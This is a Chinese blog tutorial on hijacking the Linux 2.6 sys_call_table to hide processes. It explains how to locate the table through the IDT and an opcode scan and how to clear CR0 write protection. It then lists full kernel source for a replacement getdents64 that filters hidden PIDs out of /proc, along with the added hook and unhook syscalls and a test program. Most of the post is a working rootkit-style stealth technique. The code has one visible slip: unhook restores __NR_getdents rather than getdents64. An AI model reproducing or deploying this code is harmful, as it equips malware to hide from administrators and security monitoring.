Linux 2.6 劫持系统调用 隐藏进程

一、原理

Intel x86系列微机支持256种中断，为了使处理器比较容易地识别每种中断源，把它们从0~256编号，即赋予一个中断类型码n,Intel把它称作中断向量。

而Linux中的系统调用使用的是128号，即0x80号中断，所有的系统调用都是通过唯一的入口system_call()来进入内核，当用户动态进程执行一条int 0x80汇编指令时，CPU就切换到内核态，并开始执行system_call()函数，system_call()函数再通过系统调用表 sys_call_table来取得相应系统调用的地址进行执行。

系统调用表sys_call_table中存放所有系统调用函数的地址，每个地址可以用系统调用号来进行索引，例如sys_call_table[NR_fork]索引到的就是系统调用sys_fork()的地址。(arch/i386/kernel/syscall_table.S)

Linux用中断描述符（8字节）来表示每个中断的相关信息，其格式如下：

31…1615…0

偏移量	一些标志、类型码及保留位
段选择符	偏移量

所有的中断描述符存放在一片连续的地址空间中，这个连续的地址空间称作中断描述符表（IDT），在保护模式下，中断描述附表可能位于物理内存的任何地方。处理器有一个特殊的寄存器 IDTR，用来存储中断描述附表的起始地址与大小。这个IDTR的格式为：

47…1615…0

32位基址值

界限

当产生一个中断时，处理器会将中断号乘以8然后加到中断描述符表的基址上。然后验证产生的结果地址位于中断描述附表内部（利用表的起始地址与长度）。如果产生的地址没有位于中断描述符表的内部，将产生一个异常。如果产生的地址正确，存储在描述附表中的 8-byte 的描述符会被 CPU 加载并执行。

通过上面的说明可以得出通过IDTR寄存器来找到system_call()函数地址的方法：根据IDTR寄存器找到中断描述符表，中断描述符表的第0x80项即是system_call()函数的地址。

在这里我们已经知道怎么获得了system_call()的方法，那如何获得sys_call_table的地址呢？

我们看看system_call()的源代码：

# system call handler stub
ENTRY(system_call)
	pushl %eax			# save orig_eax
	SAVE_ALL
	GET_THREAD_INFO(%ebp)
					# system call tracing in operation / emulation
	/* Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb */
	testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
	jnz syscall_trace_entry
	cmpl $(nr_syscalls), %eax
	jae syscall_badsys
syscall_call:
	call *sys_call_table(,%eax,4)//这就是sys_call_table的地址
	movl %eax,EAX(%esp)		# store the return value

我们找到了sys_call_table的在代码的位置，因此通过下面指令，找出sys_call_table的指令码

$cd /usr/src/<linux-version>

$gdb -q vmlinux

$disass sys_call_table

$ x/xw syscall_call+0

下面就是通过查找0x408514ff这个指令来得到*sys_call_table 的值，以上我们便可以找到sys_call_table。

Linux 系统中用来查询文件信息的系统调用是sys_getdents64，这一点可以通过strace来观察到，例如strace ps 将列出命令ps用到的系统调用，从中可以发现ps是通过sys_getedents64来执行操作的。当查询文件或者目录的相关信息时，Linux系统用 sys_getedents64来执行相应的查询操作，并把得到的信息传递给用户空间运行的程序，所以如果修改该系统调用，去掉结果中与某些特定文件的相关信息，那么所有利用该系统调用的程序将看不见该文件，从而达到了隐藏的目的。首先介绍一下原来的系统调用，其原型为：

int sys_getdents64(unsigned int fd, struct linux_dirent64 *dirp,unsigned int count)

其中fd为指向目录文件的文件描述符，该函数根据fd所指向的目录文件读取相应dirent结构，并放入dirp中，其中count为dirp中返回的数据量，正确时该函数返回值为填充到dirp的字节数。

因此，只需要把上述的sys_getdents64替换成自己写的hacked_getdents函数，对隐藏的进程进行过滤，从而实现进程的隐藏。

在hacked_getdents函数中，怎么对隐藏的进程进行过滤呢？

由于在Linux中不存在直接查询进程信息的系统调用，类似于ps这样查询进程信息的命令是通过查询proc文件系统来实现的，由于proc文件系统它是应用文件系统的接口实现，因此同样可以用隐藏文件的方法来隐藏proc文件系统中的文件，只需要在上面的hacked_getdents中加入对于proc文件系统的判断即可。

由于proc是特殊的文件系统，只存在于内存之中，不存在于任何实际设备之上，所以Linux内核分配给它一个特定的主设备号0以及一个特定的次设备号3， 除此之外，由于在外存上没有与之对应的i节点,所以系统也分配给它一个特殊的节点号PROC_ROOT_INO（值为1），而设备上的1号索引节点是保留 不用的。

通过上面的分析，可以得出判断一个文件是否属于proc文件系统的方法：
1）得到该文件对应的fstat结构fbuf;
2）if (fbuf->ino == PROC_ROOT_INO && !MAJOR(fbuf->dev) && MINOR(fbuf->idev) == 3)

{该文件属于proc文件系统}

通过上面的分析，给出隐藏特定进程的伪代码表示：

hacket_getdents(unsigned int fd, 
struct dirent *dirp, unsigned int count) 
{
   调用原来的系统调用； 
   得到fd所对应的节点； 
   If(该文件属于proc文件系统的进程文件&&该进程需要隐藏) 
   {
从dirp中去掉该文件相关信息
}
}

以上便是通过劫持系统调用而实现隐藏进程的原理！

二 、实现

本人比较懒，懒得再重新设置进程的hide变量，于是在之前的一篇文章《linux 隐藏进程-crux实现》基础上进行修改(url:http://blog.csdn.net/billpig/archive/2010/11/26/6038330.aspx)，使得内核能够同时支持本文的方法及前篇文章的方法。为了区分开两种方法，在include/linux/文件夹下添加hide.h头文件。

#ifndef HIDE
#define HIDE
#define USE_HOOK //使用第二种方法
//#define USE_PROC //使用第一种方法，该语句和上一句只能选其一
#endif

在hide.h选择隐藏文件的方式后，在linux内核文件目录下,执行make bzImage，然后把得到的内核加入grub目录。分别设置不同的隐藏方式即可得到不同方法所得到的内核。

2.1 修改前一篇文章 /proc

修改前一篇文件/proc的代码，使得不会影响本文代码的实现(因为前篇文章已经实现进程隐藏了，再次隐藏无意义)，于是修改fs/proc/base.c的proc_pid_readdir()的代码如下:

/* for the /proc/ directory itself, after non-process stuff has been done */
int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)
{
	unsigned int tgid_array[PROC_MAXPIDS];
	char buf[PROC_NUMBUF];
	unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;
	unsigned int nr_tgids, i;
	int next_tgid;
#ifdef USE_PROC
	task_t *task; //declare a task_struct
#endif
	if (!nr) {
		ino_t ino = fake_ino(0,PROC_TGID_INO);
		if (filldir(dirent, "self", 4, filp->f_pos, ino, DT_LNK) < 0)
			return 0;
		filp->f_pos++;
		nr++;
	}
	/* f_version caches the tgid value that the last readdir call couldn't
	 * return. lseek aka telldir automagically resets f_version to 0.
	 */
	next_tgid = filp->f_version;
	filp->f_version = 0;
	for (;;) {
		nr_tgids = get_tgid_list(nr, next_tgid, tgid_array);
		if (!nr_tgids) {
			/* no more entries ! */
			break;
		}
		next_tgid = 0;
		/* do not use the last found pid, reserve it for next_tgid */
		if (nr_tgids == PROC_MAXPIDS) {
			nr_tgids--;
			next_tgid = tgid_array[nr_tgids];
		}
		for (i=0;i<nr_tgids;i++) {
			int tgid = tgid_array[i];
			ino_t ino = fake_ino(tgid,PROC_TGID_INO);
			unsigned long j = PROC_NUMBUF;
#ifdef USE_PROC
			//get task_struct from pid
			task = find_task_by_pid(tgid);
#endif
			do
				buf[--j] = '0' + (tgid % 10);
			while ((tgid /= 10) != 0);
			//task = find_task_by_pid(tgid);
#ifdef USE_PROC
			printk(KERN_ALERT "pid:%d, hide:%d/n", task->pid, task->hide);
			//if task is not hide, then add to /proc
			if(task != NULL && task->hide == 0)
			{
				printk(KERN_ALERT "task:%d no hide/n", task->pid);
#endif
				if (filldir(dirent, buf+j, PROC_NUMBUF-j, filp->f_pos, ino, DT_DIR) < 0) {
					/* returning this tgid failed, save it as the first
					 * pid for the next readir call */
					filp->f_version = tgid_array[i];
					goto out;
				}
#ifdef USE_PROC
			}
			filp->f_pos++;
			nr++;
#endif
		}
	}
out:
	return 0;
}

2.2 本文方法的实现

2.2.1 hook.c

在2.1中去除掉了修改后的/proc代码对本文的影响，接下来便实现在第一部分内容原理的代码。

于是，在kernel目录下创建hook.c文件，具体内容如下：

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
#include <linux/stat.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/hide.h>
#define CALLOFF 100
//定义 idtr and idt struct
struct{
	unsigned short limit;
	unsigned int base;
}__attribute__((packed))idtr;
struct{
	unsigned short off_low;
	unsigned short sel;
	unsigned char none, flags;
	unsigned short off_high;
}__attribute__((packed))*idt;
/*
struct linux_dirent64{
	u64 d_ino;
	s64 d_off;
	unsigned short d_reclen;
	unsigned char d_type;
	char d_name[1];
};*/
//定义函数指针，指向被劫持的系统调用
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
int orig_cr0;
void ** system_call_table;
//获得system_call函数地址
void * get_system_call(void)
{
	void * addr = NULL;
	asm("sidt %0":"=m"(idtr));
	idt = (void*) ((unsigned long*)idtr.base);
	addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
	return addr;
}
//查找sys_call_table
char * findoffset(char * start)
{
	char *p;
	for(p=start; p < start + CALLOFF; p++){
		if(*(p+0) == '/xff' && *(p+1) == '/x14' && *(p+2) == '/x85')
			return p;
	}
	return NULL;
}
//获得sys_call_table的地址
void ** get_system_call_addr(void)
{
	unsigned long sct = 0;
	char * p;
	unsigned long addr = (unsigned long)get_system_call();
	if((p=findoffset((char*) addr)))
	{
		sct = *(unsigned long*)(p+3);
		printk(KERN_ALERT "find sys_call_addr: 0x%x/n", (unsigned int)sct);
	}
	return ((void **)sct);
}
//清除和返回cr0
unsigned int clear_and_return_cr0(void)
{
	unsigned int cr0 = 0;
	unsigned int ret;
	asm volatile ("movl %%cr0, %%eax"
			:"=a"(cr0));
	ret = cr0;
	cr0 &= 0xfffeffff;
	asm volatile ("movl %%eax, %%cr0"
			::"a"(cr0));
	return ret;
}
//设置cr0
void setback_cr0(unsigned int val)
{
	asm volatile ("movl %%eax, %%cr0"
			::"a"(val));
}
//char* 转换为 int
int atoi(char *str)
{
	int res = 0;
	int mul = 1;
	char *ptr;
	for(ptr = str + strlen(str)-1; ptr >= str; ptr--){
		if(*ptr < '0' || *ptr > '9')
			return -1;
		res += (*ptr -'0') * mul;
		mul *= 10;
	}
	return res;
}
//check if process whose pid equals 'pid' is set to hidden
//检查进程号pid是否有设置隐藏
int ishidden(pid_t pid)
{
	if(pid < 0)
		return 0;	
	struct task_struct * task = NULL;
	task = find_task_by_pid(pid);
//	printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
	if(task != NULL && task->hide == 1){		
//		printk(KERN_ALERT "pid:%d,task pid:%d,hide:%d/n",pid, task->pid, task->hide);
		return 1;
	}
	return 0;	
}
//the hacked sys_getdents64
//劫持后更换的系统调用
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
	long value = 0;
	
	unsigned short len = 0;
	unsigned short tlen = 0;
//	printk(KERN_ALERT "hidden get dents/n");
	struct kstat fbuf;
	vfs_fstat(fd, &fbuf);//获取文件信息
	//printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d/n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));
	if(orig_getdents != NULL)
	{
		//执行旧的系统调用
		value = (*orig_getdents)(fd, dirp, count);
		// if the file is in /proc	
		//判断文件是否是/proc下的文件
		if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
		{
//			printk(KERN_ALERT "this is proc");
			tlen = value;
			int pid;
			while(tlen>0){
				len = dirp->d_reclen;
				tlen = tlen - len;
			//	printk(KERN_ALERT "dname:%s,",dirp->d_name);
				//获取进程号
				pid = atoi(dirp->d_name);
			//	printk(KERN_ALERT "pid:%d/n", pid);
				if(pid != -1 && ishidden(pid))
				{
//					printk(KERN_ALERT "find process/n");
//					//remove the hidden process
					//从/proc去除进程文件
					memmove(dirp, (char*)dirp + dirp->d_reclen, tlen);
					value = value -len;
//					printk(KERN_ALERT "hide successful/n");
				}
				if(tlen)
					dirp = (struct linux_dirent64 *)((char*)dirp + dirp->d_reclen);
			}
		}
		
	}
	else
		printk(KERN_ALERT "orig_getdents is null/n");
	
	
	
	
	return value;
}
//hook系统调用
asmlinkage long sys_hook(void)
{
#ifdef USE_HOOK
	system_call_table = get_system_call_addr();
	
	if(!system_call_table){
		return -EFAULT;
	}else if(system_call_table[__NR_getdents64] != hacked_getdents)
	{
		printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x/n", (unsigned int)system_call_table[__NR_getdents64],(unsigned int)hacked_getdents);
		orig_cr0 = clear_and_return_cr0();
		
		orig_getdents = system_call_table[__NR_getdents64];
	//	printk(KERN_ALERT "old:0x%x, new:0x%x/n",(unsigned int) orig_getdents, (unsigned int)hacked_getdents);
	
		if(hacked_getdents != NULL)
			system_call_table[__NR_getdents64] = hacked_getdents;
		
		setback_cr0(orig_cr0);
		
	
		return 0;
	}else
#endif
		return -EFAULT;
		
}
//unhook系统调用
asmlinkage long sys_unhook(void)
{
#ifdef USE_HOOK
	if(system_call_table && system_call_table[__NR_getdents64] == hacked_getdents){
		orig_cr0 = clear_and_return_cr0();
		system_call_table[__NR_getdents] = orig_getdents;
		setback_cr0(orig_cr0);
		return 0;
	}
#endif
	return -EFAULT;
}

然后在修改kernel/Makefile，把hook.o添加入编译选项，使得hook.c代码编译入内核

...
obj-y     = ...
	    kthread.o wait.o kfifo.o sys_ni.o posix-cpu-timers.o hook.o
...

2.2.2 添加系统调用

接着，就如和前篇文章一样，添加系统调用的头部及相关信息

在include/asm-i386/unistd.h添加系统调用号及系统的调用总数

#define __NR_hide		294 //add hide sys call no
#define __NR_unhide		295 //add unhide sys call no
#define __NR_hook		296
#define __NR_unhook		297
#define NR_syscalls 298			//modify sys calls

arch/i386/kernel/syscall_table.S在系统调用表中添加相应项,在最后一行添加

	.long sys_hide /*add sys call to sys call table */
	.long sys_unhide
	.long sys_hook
	.long sys_unhook

在include/linux/syscalls.h添加函数声明

// declare function for added sys call
asmlinkage long sys_hide(void);
asmlinkage long sys_unhide(void);
asmlinkage long sys_hook(void);
asmlinkage long sys_unhook(void);

至此，添加系统调用完成，重新编译内核

三、测试

我们编写了一个测试函数，用来我们修改的内核是否成功，代码hook.c(注意跟内核的hook.c区分开来)如下：

#include <stdio.h>
#include <sys/types.h>
#include <linux/unistd.h>
#define __NR_hide 294
#define __NR_unhide 295
#define __NR_hook 296
#define __NR_unhook 297
int main(int argc ,char ** argv)
{
	int j = 0;
	pid_t pid = getpid();
	printf("original/n");
	system("ps");
	//由于使用前篇文章的内容，于是要调用2个系统调用才能隐藏进程
	int i = syscall(__NR_hide);
	i = syscall(__NR_hook);
	printf("hide:/n");
	system("ps");
	i = syscall(__NR_unhide);
	i = syscall(__NR_unhook);
	printf("unhide:/n");
	system("ps");
	return 0;
}

gcc hook.c -o hook后,执行 ./hook ，查看结果如图

4、结束语

这只是实现隐藏的另一种方式，网上实现的拦截系统调用只是简单的拦截而已，没有更深一层的应用，本文也是对隐藏进程的另一种补充。由于只是演示而已，个人觉得采用模块的方式会比较好，因为内核的系统调用代码一般是不会修改的。

参考资料：

[1] Linux2.6内核中劫持系统调用隐藏进程:http://linux.chinaitlab.com/kernel/810229_3.html

[2] 高手过招谈Linux环境下的高级隐藏技术:http://blog.csdn.net/ldong2007/archive/2008/09/03/2874082.aspx

[3] 2.6内恶化里劫持系统调用:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872144.aspx

[4] 2.6版本Linux上替换系统调用函数实现隐藏文件学习:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872077.aspx

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